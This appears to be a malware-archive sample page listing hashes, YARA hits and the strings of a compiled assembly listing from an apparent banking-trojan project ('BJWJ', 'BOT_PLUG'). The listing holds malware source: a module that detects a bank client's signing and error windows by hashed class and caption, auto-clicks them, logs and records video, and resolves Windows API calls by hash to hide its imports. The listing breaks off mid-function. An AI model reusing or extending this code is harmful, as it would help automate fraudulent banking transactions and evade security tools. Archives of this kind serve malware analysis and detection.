Warning! We are currently in recovery mode. The complete archive is not available.

Sample details: 9214a5a946ab49a186caf68b1581b164 --

Hashes
MD5: 9214a5a946ab49a186caf68b1581b164
SHA1: 1eb9811610dc29649413a55d140ebbc6a1e92375
SHA256: 077e9625bbd90c55b74747d4891466f792385edb053c7eab00c437f443d41de3
SSDEEP: 3072:SJjK5WOpiIWmvWF8MHXrIUFeTvSCGVgzg3xgjy1mo3OOo1ZV4+W7tcUueVFaIUi9:6WSJr
Details
File Type: BSD
Yara Hits
CuckooSandbox/embedded_win_api | YRP/domain | YRP/contentis_base64 |
Source
http://103.68.190.250/Sources//Advance/BJWJ/Builds/BOT_PLUG/Objs/Release/bsssign.cod
Strings
		; Listing generated by Microsoft (R) Optimizing Compiler Version 15.00.30729.01 
	TITLE	e:\Projects\progs\Petrosjan\BJWJ\Source\Misc\bsssign.cpp
	.686P
	include listing.inc
	.model	flat
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
PUBLIC	?WindowRect@BSSSign@@3UtagRECT@@A		; BSSSign::WindowRect
PUBLIC	?Hibernation@TVideoRecDLL@@2HB			; TVideoRecDLL::Hibernation
PUBLIC	?RunCallback@TVideoRecDLL@@2HB			; TVideoRecDLL::RunCallback
PUBLIC	?BSSSignName@BSSSign@@3PADA			; BSSSign::BSSSignName
PUBLIC	?Logger@@3PAVTBSSSignLog@@A			; Logger
PUBLIC	?Clicker@BSSSign@@3PAVTBSSClicker@@A		; BSSSign::Clicker
PUBLIC	?RecordVideo@BSSSign@@3_NA			; BSSSign::RecordVideo
_BSS	SEGMENT
?WindowRect@BSSSign@@3UtagRECT@@A DB 010H DUP (?)	; BSSSign::WindowRect
?Logger@@3PAVTBSSSignLog@@A DD 01H DUP (?)		; Logger
?Clicker@BSSSign@@3PAVTBSSClicker@@A DD 01H DUP (?)	; BSSSign::Clicker
?RecordVideo@BSSSign@@3_NA DB 01H DUP (?)		; BSSSign::RecordVideo
_BSS	ENDS
_DATA	SEGMENT
?BSSSignName@BSSSign@@3PADA DB 042H			; BSSSign::BSSSignName
	DB	053H
	DB	053H
	DB	053H
	DB	069H
	DB	067H
	DB	06eH
	DB	00H
_DATA	ENDS
;	COMDAT ?RunCallback@TVideoRecDLL@@2HB
CONST	SEGMENT
?RunCallback@TVideoRecDLL@@2HB DD 01000H		; TVideoRecDLL::RunCallback
CONST	ENDS
;	COMDAT ?Hibernation@TVideoRecDLL@@2HB
CONST	SEGMENT
?Hibernation@TVideoRecDLL@@2HB DD 01H			; TVideoRecDLL::Hibernation
CONST	ENDS
PUBLIC	??_7TBotObject@@6B@				; TBotObject::`vftable'
PUBLIC	??1TBotObject@@UAE@XZ				; TBotObject::~TBotObject
EXTRN	??_ETBotObject@@UAEPAXI@Z:PROC			; TBotObject::`vector deleting destructor'
;	COMDAT ??_7TBotObject@@6B@
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
CONST	SEGMENT
??_7TBotObject@@6B@ DD FLAT:??_ETBotObject@@UAEPAXI@Z	; TBotObject::`vftable'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ??1TBotObject@@UAE@XZ
_TEXT	SEGMENT
??1TBotObject@@UAE@XZ PROC				; TBotObject::~TBotObject, COMDAT
; _this$ = ecx
; 883  : 	virtual ~TBotObject() {}
  00000	c7 01 00 00 00
	00		 mov	 DWORD PTR [ecx], OFFSET ??_7TBotObject@@6B@
  00006	c3		 ret	 0
??1TBotObject@@UAE@XZ ENDP				; TBotObject::~TBotObject
_TEXT	ENDS
EXTRN	??3TBotObject@@SAXPAX@Z:PROC			; TBotObject::operator delete
; Function compile flags: /Ogspy
;	COMDAT ??_GTBotObject@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_GTBotObject@@UAEPAXI@Z PROC				; TBotObject::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	f6 44 24 04 01	 test	 BYTE PTR ___flags$[esp-4], 1
  00005	56		 push	 esi
  00006	8b f1		 mov	 esi, ecx
  00008	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBotObject@@6B@
  0000e	74 07		 je	 SHORT $LN1@scalar
  00010	56		 push	 esi
  00011	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00016	59		 pop	 ecx
$LN1@scalar:
  00017	8b c6		 mov	 eax, esi
  00019	5e		 pop	 esi
  0001a	c2 04 00	 ret	 4
??_GTBotObject@@UAEPAXI@Z ENDP				; TBotObject::`scalar deleting destructor'
_TEXT	ENDS
PUBLIC	??0TMemory@@QAE@K@Z				; TMemory::TMemory
EXTRN	?MemAlloc@@YAPAXK@Z:PROC			; MemAlloc
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\memory.h
;	COMDAT ??0TMemory@@QAE@K@Z
_TEXT	SEGMENT
_Size$ = 8						; size = 4
??0TMemory@@QAE@K@Z PROC				; TMemory::TMemory, COMDAT
; _this$ = ecx
; 119  : 	{
; 120  : 		FSize = Size;
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Size$[esp-4]
  00004	56		 push	 esi
  00005	8b f1		 mov	 esi, ecx
; 121  :         FBuf  = MemAlloc(Size);
  00007	50		 push	 eax
  00008	89 46 04	 mov	 DWORD PTR [esi+4], eax
  0000b	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
  00010	89 06		 mov	 DWORD PTR [esi], eax
  00012	59		 pop	 ecx
; 122  : 	}
  00013	8b c6		 mov	 eax, esi
  00015	5e		 pop	 esi
  00016	c2 04 00	 ret	 4
??0TMemory@@QAE@K@Z ENDP				; TMemory::TMemory
_TEXT	ENDS
PUBLIC	??1TMemory@@QAE@XZ				; TMemory::~TMemory
EXTRN	?MemFree@@YAXPAX@Z:PROC				; MemFree
; Function compile flags: /Ogspy
;	COMDAT ??1TMemory@@QAE@XZ
_TEXT	SEGMENT
??1TMemory@@QAE@XZ PROC					; TMemory::~TMemory, COMDAT
; _this$ = ecx
; 126  :         MemFree(FBuf);
  00000	ff 31		 push	 DWORD PTR [ecx]
  00002	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  00007	59		 pop	 ecx
; 127  : 	}
  00008	c3		 ret	 0
??1TMemory@@QAE@XZ ENDP					; TMemory::~TMemory
_TEXT	ENDS
PUBLIC	?Buf@TMemory@@QAEPAXXZ				; TMemory::Buf
; Function compile flags: /Ogspy
;	COMDAT ?Buf@TMemory@@QAEPAXXZ
_TEXT	SEGMENT
?Buf@TMemory@@QAEPAXXZ PROC				; TMemory::Buf, COMDAT
; _this$ = ecx
; 136  : 	inline LPVOID Buf()  { return FBuf; }
  00000	8b 01		 mov	 eax, DWORD PTR [ecx]
  00002	c3		 ret	 0
?Buf@TMemory@@QAEPAXXZ ENDP				; TMemory::Buf
_TEXT	ENDS
PUBLIC	?AsStr@TMemory@@QAEPADXZ			; TMemory::AsStr
; Function compile flags: /Ogspy
;	COMDAT ?AsStr@TMemory@@QAEPADXZ
_TEXT	SEGMENT
?AsStr@TMemory@@QAEPADXZ PROC				; TMemory::AsStr, COMDAT
; _this$ = ecx
; 139  :     inline PCHAR AsStr() { return (PCHAR)FBuf; }
  00000	8b 01		 mov	 eax, DWORD PTR [ecx]
  00002	c3		 ret	 0
?AsStr@TMemory@@QAEPADXZ ENDP				; TMemory::AsStr
_TEXT	ENDS
PUBLIC	??0TBotObject@@QAE@XZ				; TBotObject::TBotObject
; Function compile flags: /Ogspy
;	COMDAT ??0TBotObject@@QAE@XZ
_TEXT	SEGMENT
??0TBotObject@@QAE@XZ PROC				; TBotObject::TBotObject, COMDAT
; _this$ = ecx
  00000	8b c1		 mov	 eax, ecx
  00002	c7 00 00 00 00
	00		 mov	 DWORD PTR [eax], OFFSET ??_7TBotObject@@6B@
  00008	c3		 ret	 0
??0TBotObject@@QAE@XZ ENDP				; TBotObject::TBotObject
_TEXT	ENDS
PUBLIC	?MakeWndScreenShot@TBSSSignLog@@AAEXPAUHWND__@@@Z ; TBSSSignLog::MakeWndScreenShot
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\misc\bsssign.cpp
;	COMDAT ?MakeWndScreenShot@TBSSSignLog@@AAEXPAUHWND__@@@Z
_TEXT	SEGMENT
_Wnd$ = 8						; size = 4
?MakeWndScreenShot@TBSSSignLog@@AAEXPAUHWND__@@@Z PROC	; TBSSSignLog::MakeWndScreenShot, COMDAT
; _this$ = ecx
; 137  : 			// 
; 138  : //			LPBYTE Buf = NULL;
; 139  : //			DWORD Size = 0;
; 140  : //			ScreenShot::DrawWindow(Wnd, Buf, Size);
; 141  : //            AddScreen(Buf, Size);
; 142  : //			MemFree(Buf);
; 143  : 
; 144  : 			// 
; 145  : //			PCHAR S = GetAllWindowsText(Wnd, true, true);
; 146  : //			if (S)
; 147  : //			{
; 148  : //				Write(NULL, false, "\r\n\r\n
: \r\n");
; 149  : //				Write(NULL, false, S);
; 150  : //				Write(NULL, false, "\r\n");
; 151  : //
; 152  : //				STR::Free(S);
; 153  : //            }
; 154  : 
; 155  : 		}
  00000	c2 04 00	 ret	 4
?MakeWndScreenShot@TBSSSignLog@@AAEXPAUHWND__@@@Z ENDP	; TBSSSignLog::MakeWndScreenShot
_TEXT	ENDS
PUBLIC	??_7TBSSForm@@6B@				; TBSSForm::`vftable'
PUBLIC	??0TBSSForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z	; TBSSForm::TBSSForm
PUBLIC	?Click@TBSSForm@@MAE_NXZ			; TBSSForm::Click
PUBLIC	?Wait@TBSSForm@@MAEXXZ				; TBSSForm::Wait
PUBLIC	?Execute@TBSSForm@@UAE?AW4TBSSFormStatus@@XZ	; TBSSForm::Execute
EXTRN	??0TBotCollectionItem@@QAE@PAVTBotCollection@@@Z:PROC ; TBotCollectionItem::TBotCollectionItem
EXTRN	??_ETBSSForm@@UAEPAXI@Z:PROC			; TBSSForm::`vector deleting destructor'
;	COMDAT ??_7TBSSForm@@6B@
CONST	SEGMENT
??_7TBSSForm@@6B@ DD FLAT:??_ETBSSForm@@UAEPAXI@Z	; TBSSForm::`vftable'
	DD	FLAT:?Click@TBSSForm@@MAE_NXZ
	DD	FLAT:?Wait@TBSSForm@@MAEXXZ
	DD	FLAT:?Execute@TBSSForm@@UAE?AW4TBSSFormStatus@@XZ
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ??0TBSSForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z
_TEXT	SEGMENT
_aOwner$ = 8						; size = 4
_Wnd$ = 12						; size = 4
??0TBSSForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z PROC	; TBSSForm::TBSSForm, COMDAT
; _this$ = ecx
; 439  : 	{
  00000	56		 push	 esi
  00001	ff 74 24 08	 push	 DWORD PTR _aOwner$[esp]
  00005	8b f1		 mov	 esi, ecx
  00007	e8 00 00 00 00	 call	 ??0TBotCollectionItem@@QAE@PAVTBotCollection@@@Z ; TBotCollectionItem::TBotCollectionItem
; 440  : 		FForm = Wnd;
  0000c	8b 44 24 0c	 mov	 eax, DWORD PTR _Wnd$[esp]
; 441  : 		FStatus = bfsUnknown;
  00010	83 66 0c 00	 and	 DWORD PTR [esi+12], 0
  00014	89 46 08	 mov	 DWORD PTR [esi+8], eax
  00017	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBSSForm@@6B@
; 442  : 		FMaxWaitInterval = 10000; // 
  0001d	c7 46 14 10 27
	00 00		 mov	 DWORD PTR [esi+20], 10000 ; 00002710H
; 443  : 	}
  00024	8b c6		 mov	 eax, esi
  00026	5e		 pop	 esi
  00027	c2 08 00	 ret	 8
??0TBSSForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z ENDP	; TBSSForm::TBSSForm
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?Execute@TBSSForm@@UAE?AW4TBSSFormStatus@@XZ
_TEXT	SEGMENT
?Execute@TBSSForm@@UAE?AW4TBSSFormStatus@@XZ PROC	; TBSSForm::Execute, COMDAT
; _this$ = ecx
; 448  : 	{
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
; 449  : 		switch (FStatus) {
  00003	8b 46 0c	 mov	 eax, DWORD PTR [esi+12]
  00006	83 e8 00	 sub	 eax, 0
  00009	74 16		 je	 SHORT $LN3@Execute
  0000b	48		 dec	 eax
  0000c	74 0a		 je	 SHORT $LN2@Execute
  0000e	48		 dec	 eax
  0000f	75 15		 jne	 SHORT $LN4@Execute
; 452  : 			case bfsWait:    Wait(); break;             // 
  00011	8b 06		 mov	 eax, DWORD PTR [esi]
  00013	ff 50 08	 call	 DWORD PTR [eax+8]
  00016	eb 0e		 jmp	 SHORT $LN4@Execute
$LN2@Execute:
; 451  : 			case bfsClicked: FStatus = bfsWait; break;  // 
  00018	c7 46 0c 02 00
	00 00		 mov	 DWORD PTR [esi+12], 2
  0001f	eb 05		 jmp	 SHORT $LN4@Execute
$LN3@Execute:
; 450  : 			case bfsUnknown: Click(); break;            // 
  00021	8b 06		 mov	 eax, DWORD PTR [esi]
  00023	ff 50 04	 call	 DWORD PTR [eax+4]
$LN4@Execute:
; 453  : 		}
; 454  : 
; 455  : 		return FStatus;
  00026	8b 46 0c	 mov	 eax, DWORD PTR [esi+12]
  00029	5e		 pop	 esi
; 456  : 	}
  0002a	c3		 ret	 0
?Execute@TBSSForm@@UAE?AW4TBSSFormStatus@@XZ ENDP	; TBSSForm::Execute
_TEXT	ENDS
PUBLIC	??1TBSSForm@@UAE@XZ				; TBSSForm::~TBSSForm
EXTRN	??1TBotCollectionItem@@UAE@XZ:PROC		; TBotCollectionItem::~TBotCollectionItem
; Function compile flags: /Ogspy
;	COMDAT ??1TBSSForm@@UAE@XZ
_TEXT	SEGMENT
??1TBSSForm@@UAE@XZ PROC				; TBSSForm::~TBSSForm, COMDAT
; _this$ = ecx
  00000	e9 00 00 00 00	 jmp	 ??1TBotCollectionItem@@UAE@XZ ; TBotCollectionItem::~TBotCollectionItem
??1TBSSForm@@UAE@XZ ENDP				; TBSSForm::~TBSSForm
_TEXT	ENDS
PUBLIC	?IsSignForm@TBSSSignForm@@SA_NKK@Z		; TBSSSignForm::IsSignForm
; Function compile flags: /Ogspy
;	COMDAT ?IsSignForm@TBSSSignForm@@SA_NKK@Z
_TEXT	SEGMENT
_ClassHash$ = 8						; size = 4
_TextHash$ = 12						; size = 4
?IsSignForm@TBSSSignForm@@SA_NKK@Z PROC			; TBSSSignForm::IsSignForm, COMDAT
; 596  : 		return ClassHash == BSS_FORM_CLASS_HASH &&
; 597  : 		       TextHash  == BSS_SIGN_FORM_CAPTION_HASH;
  00000	81 7c 24 04 38
	72 04 f8	 cmp	 DWORD PTR _ClassHash$[esp-4], -133926344 ; f8047238H
  00008	75 0e		 jne	 SHORT $LN3@IsSignForm
  0000a	81 7c 24 08 75
	f8 fa 4d	 cmp	 DWORD PTR _TextHash$[esp-4], 1308293237 ; 4dfaf875H
  00012	75 04		 jne	 SHORT $LN3@IsSignForm
  00014	33 c0		 xor	 eax, eax
  00016	40		 inc	 eax
; 598  : 	}
  00017	c3		 ret	 0
$LN3@IsSignForm:
; 596  : 		return ClassHash == BSS_FORM_CLASS_HASH &&
; 597  : 		       TextHash  == BSS_SIGN_FORM_CAPTION_HASH;
  00018	33 c0		 xor	 eax, eax
; 598  : 	}
  0001a	c3		 ret	 0
?IsSignForm@TBSSSignForm@@SA_NKK@Z ENDP			; TBSSSignForm::IsSignForm
_TEXT	ENDS
PUBLIC	?IsErrorForm@TBSSErrorForm@@SA_NPAVTBSSClicker@@KK@Z ; TBSSErrorForm::IsErrorForm
EXTRN	?Count@TBotCollection@@QAEHXZ:PROC		; TBotCollection::Count
; Function compile flags: /Ogspy
;	COMDAT ?IsErrorForm@TBSSErrorForm@@SA_NPAVTBSSClicker@@KK@Z
_TEXT	SEGMENT
_Clicker$ = 8						; size = 4
_ClassHash$ = 12					; size = 4
_TextHash$ = 16						; size = 4
?IsErrorForm@TBSSErrorForm@@SA_NPAVTBSSClicker@@KK@Z PROC ; TBSSErrorForm::IsErrorForm, COMDAT
; 671  : 		//return  TextHash  == 0x72E78B17 /* 
; 672  : 
; 673  : 		return  ((TBotCollection*)Clicker)->Count() > 0 &&
; 674  : 				ClassHash == BSS_FORM_CLASS_HASH &&
; 675  : 				TextHash  == 0x72E78B17 /* 
  00000	8b 4c 24 04	 mov	 ecx, DWORD PTR _Clicker$[esp-4]
  00004	e8 00 00 00 00	 call	 ?Count@TBotCollection@@QAEHXZ ; TBotCollection::Count
  00009	85 c0		 test	 eax, eax
  0000b	7e 18		 jle	 SHORT $LN3@IsErrorFor
  0000d	81 7c 24 08 38
	72 04 f8	 cmp	 DWORD PTR _ClassHash$[esp-4], -133926344 ; f8047238H
  00015	75 0e		 jne	 SHORT $LN3@IsErrorFor
  00017	81 7c 24 0c 17
	8b e7 72	 cmp	 DWORD PTR _TextHash$[esp-4], 1927777047 ; 72e78b17H
  0001f	75 04		 jne	 SHORT $LN3@IsErrorFor
  00021	33 c0		 xor	 eax, eax
  00023	40		 inc	 eax
; 676  :     }
  00024	c3		 ret	 0
$LN3@IsErrorFor:
; 671  : 		//return  TextHash  == 0x72E78B17 /* 
; 672  : 
; 673  : 		return  ((TBotCollection*)Clicker)->Count() > 0 &&
; 674  : 				ClassHash == BSS_FORM_CLASS_HASH &&
; 675  : 				TextHash  == 0x72E78B17 /* 
  00025	33 c0		 xor	 eax, eax
; 676  :     }
  00027	c3		 ret	 0
?IsErrorForm@TBSSErrorForm@@SA_NPAVTBSSClicker@@KK@Z ENDP ; TBSSErrorForm::IsErrorForm
_TEXT	ENDS
PUBLIC	??_7TBSSClicker@@6B@				; TBSSClicker::`vftable'
PUBLIC	??0TBSSClicker@@QAE@XZ				; TBSSClicker::TBSSClicker
EXTRN	?SetThreadSafe@TBotCollection@@QAEXXZ:PROC	; TBotCollection::SetThreadSafe
EXTRN	??0TBotCollection@@QAE@XZ:PROC			; TBotCollection::TBotCollection
EXTRN	??_ETBSSClicker@@UAEPAXI@Z:PROC			; TBSSClicker::`vector deleting destructor'
EXTRN	?Clear@TBotCollection@@UAEXXZ:PROC		; TBotCollection::Clear
;	COMDAT ??_7TBSSClicker@@6B@
CONST	SEGMENT
??_7TBSSClicker@@6B@ DD FLAT:??_ETBSSClicker@@UAEPAXI@Z	; TBSSClicker::`vftable'
	DD	FLAT:?Clear@TBotCollection@@UAEXXZ
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ??0TBSSClicker@@QAE@XZ
_TEXT	SEGMENT
??0TBSSClicker@@QAE@XZ PROC				; TBSSClicker::TBSSClicker, COMDAT
; _this$ = ecx
; 745  : 	{
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	e8 00 00 00 00	 call	 ??0TBotCollection@@QAE@XZ ; TBotCollection::TBotCollection
; 746  : 		FActive = false;
; 747  : 		FRunning = false;
; 748  : 		SetThreadSafe();
  00008	8b ce		 mov	 ecx, esi
  0000a	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBSSClicker@@6B@
  00010	c6 46 20 00	 mov	 BYTE PTR [esi+32], 0
  00014	c6 46 21 00	 mov	 BYTE PTR [esi+33], 0
  00018	e8 00 00 00 00	 call	 ?SetThreadSafe@TBotCollection@@QAEXXZ ; TBotCollection::SetThreadSafe
; 749  : 	};
  0001d	8b c6		 mov	 eax, esi
  0001f	5e		 pop	 esi
  00020	c3		 ret	 0
??0TBSSClicker@@QAE@XZ ENDP				; TBSSClicker::TBSSClicker
_TEXT	ENDS
PUBLIC	??1TBSSClicker@@UAE@XZ				; TBSSClicker::~TBSSClicker
EXTRN	??1TBotCollection@@UAE@XZ:PROC			; TBotCollection::~TBotCollection
; Function compile flags: /Ogspy
;	COMDAT ??1TBSSClicker@@UAE@XZ
_TEXT	SEGMENT
??1TBSSClicker@@UAE@XZ PROC				; TBSSClicker::~TBSSClicker, COMDAT
; _this$ = ecx
  00000	e9 00 00 00 00	 jmp	 ??1TBotCollection@@UAE@XZ ; TBotCollection::~TBotCollection
??1TBSSClicker@@UAE@XZ ENDP				; TBSSClicker::~TBSSClicker
_TEXT	ENDS
PUBLIC	??_7?$TString@D@@6B@				; TString<char>::`vftable'
PUBLIC	??0?$TString@D@@QAE@XZ				; TString<char>::TString<char>
EXTRN	??_E?$TString@D@@UAEPAXI@Z:PROC			; TString<char>::`vector deleting destructor'
;	COMDAT ??_7?$TString@D@@6B@
; File e:\projects\progs\petrosjan\bjwj\source\common\videorecorder.h
CONST	SEGMENT
??_7?$TString@D@@6B@ DD FLAT:??_E?$TString@D@@UAEPAXI@Z	; TString<char>::`vftable'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strings.h
CONST	ENDS
;	COMDAT ??0?$TString@D@@QAE@XZ
_TEXT	SEGMENT
??0?$TString@D@@QAE@XZ PROC				; TString<char>::TString<char>, COMDAT
; _this$ = ecx
; 415  : 	TString() : Data(0) {};
  00000	8b c1		 mov	 eax, ecx
  00002	83 60 04 00	 and	 DWORD PTR [eax+4], 0
  00006	c7 00 00 00 00
	00		 mov	 DWORD PTR [eax], OFFSET ??_7?$TString@D@@6B@
  0000c	c3		 ret	 0
??0?$TString@D@@QAE@XZ ENDP				; TString<char>::TString<char>
_TEXT	ENDS
PUBLIC	??_C@_11LOCGONAA@?$AA?$AA@			; `string'
PUBLIC	?t_str@?$TString@D@@QBEPADXZ			; TString<char>::t_str
;	COMDAT ??_C@_11LOCGONAA@?$AA?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
CONST	SEGMENT
??_C@_11LOCGONAA@?$AA?$AA@ DB 00H, 00H			; `string'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?t_str@?$TString@D@@QBEPADXZ
_TEXT	SEGMENT
?t_str@?$TString@D@@QBEPADXZ PROC			; TString<char>::t_str, COMDAT
; _this$ = ecx
; 701  : 	// 
; 702  : 	// 
; 703  : 	// 
; 704  : 	return (Data)? Data : (TChar*)L"";
  00000	8b 41 04	 mov	 eax, DWORD PTR [ecx+4]
  00003	85 c0		 test	 eax, eax
  00005	75 05		 jne	 SHORT $LN4@t_str
  00007	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN4@t_str:
; 705  : }
  0000c	c3		 ret	 0
?t_str@?$TString@D@@QBEPADXZ ENDP			; TString<char>::t_str
_TEXT	ENDS
PUBLIC	?Count@?$TListTemplate@PAX@@QAEHXZ		; TListTemplate<void *>::Count
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\listtemplate.cpp
;	COMDAT ?Count@?$TListTemplate@PAX@@QAEHXZ
_TEXT	SEGMENT
?Count@?$TListTemplate@PAX@@QAEHXZ PROC			; TListTemplate<void *>::Count, COMDAT
; _this$ = ecx
; 63   :     return FCount;
  00000	8b 41 04	 mov	 eax, DWORD PTR [ecx+4]
; 64   : }
  00003	c3		 ret	 0
?Count@?$TListTemplate@PAX@@QAEHXZ ENDP			; TListTemplate<void *>::Count
_TEXT	ENDS
PUBLIC	?Length@?$STRUTILS@D@@SAKPBD@Z			; STRUTILS<char>::Length
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ?Length@?$STRUTILS@D@@SAKPBD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
?Length@?$STRUTILS@D@@SAKPBD@Z PROC			; STRUTILS<char>::Length, COMDAT
; 27   : 	// 
; 28   : 	DWORD Len = 0;
; 29   : 	if (Str != NULL)
  00000	8b 4c 24 04	 mov	 ecx, DWORD PTR _Str$[esp-4]
  00004	33 c0		 xor	 eax, eax
  00006	85 c9		 test	 ecx, ecx
  00008	74 0b		 je	 SHORT $LN7@Length
; 30   : 		while (*Str++) Len++;
  0000a	38 01		 cmp	 BYTE PTR [ecx], al
  0000c	74 07		 je	 SHORT $LN7@Length
$LL2@Length:
  0000e	41		 inc	 ecx
  0000f	40		 inc	 eax
  00010	80 39 00	 cmp	 BYTE PTR [ecx], 0
  00013	75 f9		 jne	 SHORT $LL2@Length
$LN7@Length:
; 31   : 
; 32   : 	return Len;
; 33   : }
  00015	c3		 ret	 0
?Length@?$STRUTILS@D@@SAKPBD@Z ENDP			; STRUTILS<char>::Length
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0FIPOHKLO@$0DG@HPAX@@YAPAXHPAX@Z ; pushargEx<1,1493072574,54,int,void *>
EXTRN	?GetProcAddressEx2@@YAPAXPADKKH@Z:PROC		; GetProcAddressEx2
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0FIPOHKLO@$0DG@HPAX@@YAPAXHPAX@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0FIPOHKLO@$0DG@HPAX@@YAPAXHPAX@Z PROC	; pushargEx<1,1493072574,54,int,void *>, COMDAT
; 108  : 	typedef LPVOID (WINAPI *newfunc)(A, B);
; 109  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 36		 push	 54			; 00000036H
  00002	68 be 7a fe 58	 push	 1493072574		; 58fe7abeH
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 110  : 	return func(a1,a2);
  00013	ff 74 24 08	 push	 DWORD PTR _a2$[esp-4]
  00017	ff 74 24 08	 push	 DWORD PTR _a1$[esp]
  0001b	ff d0		 call	 eax
; 111  : }
  0001d	c3		 ret	 0
??$pushargEx@$00$0FIPOHKLO@$0DG@HPAX@@YAPAXHPAX@Z ENDP	; pushargEx<1,1493072574,54,int,void *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0KAHDFHH@$0KJ@PADH@@YAPAXPADH@Z ; pushargEx<1,168244599,169,char *,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0KAHDFHH@$0KJ@PADH@@YAPAXPADH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0KAHDFHH@$0KJ@PADH@@YAPAXPADH@Z PROC	; pushargEx<1,168244599,169,char *,int>, COMDAT
; 108  : 	typedef LPVOID (WINAPI *newfunc)(A, B);
; 109  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 a9 00 00 00	 push	 169			; 000000a9H
  00005	68 77 35 07 0a	 push	 168244599		; 0a073577H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 110  : 	return func(a1,a2);
  00016	ff 74 24 08	 push	 DWORD PTR _a2$[esp-4]
  0001a	ff 74 24 08	 push	 DWORD PTR _a1$[esp]
  0001e	ff d0		 call	 eax
; 111  : }
  00020	c3		 ret	 0
??$pushargEx@$00$0KAHDFHH@$0KJ@PADH@@YAPAXPADH@Z ENDP	; pushargEx<1,168244599,169,char *,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$02$0KNEPPMNF@$0BDI@PAUHWND__@@PAU1@HH@@YAPAXPAUHWND__@@0HH@Z ; pushargEx<3,2907700437,312,HWND__ *,HWND__ *,int,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$02$0KNEPPMNF@$0BDI@PAUHWND__@@PAU1@HH@@YAPAXPAUHWND__@@0HH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
??$pushargEx@$02$0KNEPPMNF@$0BDI@PAUHWND__@@PAU1@HH@@YAPAXPAUHWND__@@0HH@Z PROC ; pushargEx<3,2907700437,312,HWND__ *,HWND__ *,int,int>, COMDAT
; 124  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D);
; 125  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 38 01 00 00	 push	 312			; 00000138H
  00005	68 d5 fc 4f ad	 push	 -1387266859		; ad4ffcd5H
  0000a	6a 03		 push	 3
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 126  : 	return func(a1,a2,a3,a4);
  00016	ff 74 24 10	 push	 DWORD PTR _a4$[esp-4]
  0001a	ff 74 24 10	 push	 DWORD PTR _a3$[esp]
  0001e	ff 74 24 10	 push	 DWORD PTR _a2$[esp+4]
  00022	ff 74 24 10	 push	 DWORD PTR _a1$[esp+8]
  00026	ff d0		 call	 eax
; 127  : }
  00028	c3		 ret	 0
??$pushargEx@$02$0KNEPPMNF@$0BDI@PAUHWND__@@PAU1@HH@@YAPAXPAUHWND__@@0HH@Z ENDP ; pushargEx<3,2907700437,312,HWND__ *,HWND__ *,int,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0DNJJHCPF@$0CP@K@@YAPAXK@Z	; pushargEx<1,1033466613,47,unsigned long>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0DNJJHCPF@$0CP@K@@YAPAXK@Z
